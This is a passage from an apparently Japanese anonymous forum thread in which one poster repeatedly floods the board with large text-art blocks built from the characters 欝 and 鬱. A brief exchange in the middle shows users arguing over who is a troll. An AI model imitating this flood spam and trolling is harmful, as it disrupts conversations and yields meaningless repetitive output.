欝欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝
欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝
欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝鬱鬱鬱鬱鬱鬱鬱鬱欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝


402 :日出づる処の名無し:2006/05/07(日) 11:47:14 ID:9KZ13qqT
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
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欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝


403 :日出づる処の名無し:2006/05/07(日) 11:48:30 ID:9KZ13qqT
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
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欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝


404 :日出づる処の名無し:2006/05/07(日) 11:50:07 ID:9KZ13qqT
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
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欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝


405 :日出づる処の名無し:2006/05/07(日) 11:50:40 ID:9KZ13qqT
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
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欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝


406 :日出づる処の名無し:2006/05/07(日) 11:52:01 ID:9KZ13qqT
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
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欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝


407 :日出づる処の名無し:2006/05/07(日) 11:58:30 ID:9KZ13qqT
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
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欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝


408 :日出づる処の名無し:2006/05/07(日) 12:02:06 ID:9KZ13qqT
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
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409 :日出づる処の名無し:2006/05/07(日) 12:03:13 ID:9KZ13qqT
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
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欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝


410 :日出づる処の名無し:2006/05/07(日) 12:10:35 ID:9KZ13qqT
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝鬱鬱鬱鬱鬱欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝鬱欝欝欝欝鬱欝欝鬱欝欝欝鬱鬱鬱欝欝欝欝欝欝欝
欝欝欝欝欝欝欝鬱鬱欝欝欝鬱欝欝欝鬱鬱鬱鬱欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝鬱欝欝鬱欝鬱欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝
欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝
欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝鬱鬱鬱鬱鬱鬱鬱鬱欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝

411 :日出づる処の名無し:2006/05/07(日) 12:11:06 ID:9KZ13qqT
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝鬱鬱鬱鬱鬱欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝鬱欝欝欝欝鬱欝欝鬱欝欝欝鬱鬱鬱欝欝欝欝欝欝欝
欝欝欝欝欝欝欝鬱鬱欝欝欝鬱欝欝欝鬱鬱鬱鬱欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝鬱欝欝鬱欝鬱欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝
欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝
欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝鬱鬱鬱鬱鬱鬱鬱鬱欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝

412 :日出づる処の名無し:2006/05/07(日) 12:12:56 ID:9KZ13qqT
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝鬱鬱鬱鬱鬱欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝鬱欝欝欝欝鬱欝欝鬱欝欝欝鬱鬱鬱欝欝欝欝欝欝欝
欝欝欝欝欝欝欝鬱鬱欝欝欝鬱欝欝欝鬱鬱鬱鬱欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝鬱欝欝鬱欝鬱欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝
欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝
欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝鬱鬱鬱鬱鬱鬱鬱鬱欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝

413 :同期の桜@極東 ◆DoukiJieKQ :2006/05/07(日) 12:42:45 ID:U+hDIbDw
1 ◆85KgNR48dAに
荒らし認定されたわけだが。

根拠は?ねぇ。根拠はどこにあるの?

414 :1 ◆85KgNR48dA :2006/05/07(日) 13:27:33 ID:1z4+jDHh
>>413
何だ?
荒らすしか脳のない奴が、俺様に議論で勝てるとでも思っている気か?

415 :同期の桜@極東 ◆DoukiJieKQ :2006/05/07(日) 13:28:50 ID:U+hDIbDw
>>414
だから根拠よこせっての。
根拠もないのに荒らし認定ですか?

416 :1 ◆85KgNR48dA :2006/05/07(日) 13:29:41 ID:1z4+jDHh
>>415
早いレスだな。
ひたすら俺を待っていたのか。

417 :同期の桜@極東 ◆DoukiJieKQ :2006/05/07(日) 13:30:45 ID:U+hDIbDw
>>416
誰がおまいごとき待ってるかいw
たまたま見た時間が合っただけだ。
で?わしが荒らしてる根拠は?

418 :日出づる処の名無し:2006/05/07(日) 13:31:22 ID:9KZ13qqT
>>414同期の桜さんが荒らしな訳ないじゃないですか(゚∀゚ )
荒らしっていうのはね(゚∀゚ )
こうやるんですよ(゚∀゚ )
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝鬱鬱鬱鬱鬱欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝鬱欝欝欝欝鬱欝欝鬱欝欝欝鬱鬱鬱欝欝欝欝欝欝欝
欝欝欝欝欝欝欝鬱鬱欝欝欝鬱欝欝欝鬱鬱鬱鬱欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝鬱欝欝鬱欝鬱欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝
欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝
欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝鬱鬱鬱鬱鬱鬱鬱鬱欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝


419 :日出づる処の名無し:2006/05/07(日) 13:31:57 ID:9KZ13qqT
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝鬱鬱鬱鬱鬱欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝鬱欝欝欝欝鬱欝欝鬱欝欝欝鬱鬱鬱欝欝欝欝欝欝欝
欝欝欝欝欝欝欝鬱鬱欝欝欝鬱欝欝欝鬱鬱鬱鬱欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝鬱欝欝鬱欝鬱欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝
欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝
欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝鬱鬱鬱鬱鬱鬱鬱鬱欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝


420 :同期の桜@極東 ◆DoukiJieKQ :2006/05/07(日) 13:33:17 ID:U+hDIbDw
>>418-419
おまいもいい加減にしときー


421 :日出づる処の名無し:2006/05/07(日) 13:33:54 ID:9KZ13qqT
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝鬱鬱鬱鬱鬱欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝鬱欝欝欝欝鬱欝欝鬱欝欝欝鬱鬱鬱欝欝欝欝欝欝欝
欝欝欝欝欝欝欝鬱鬱欝欝欝鬱欝欝欝鬱鬱鬱鬱欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝鬱欝欝鬱欝鬱欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝
欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝
欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝鬱鬱鬱鬱鬱鬱鬱鬱欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝

422 :日出づる処の名無し:2006/05/07(日) 13:34:27 ID:9KZ13qqT
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
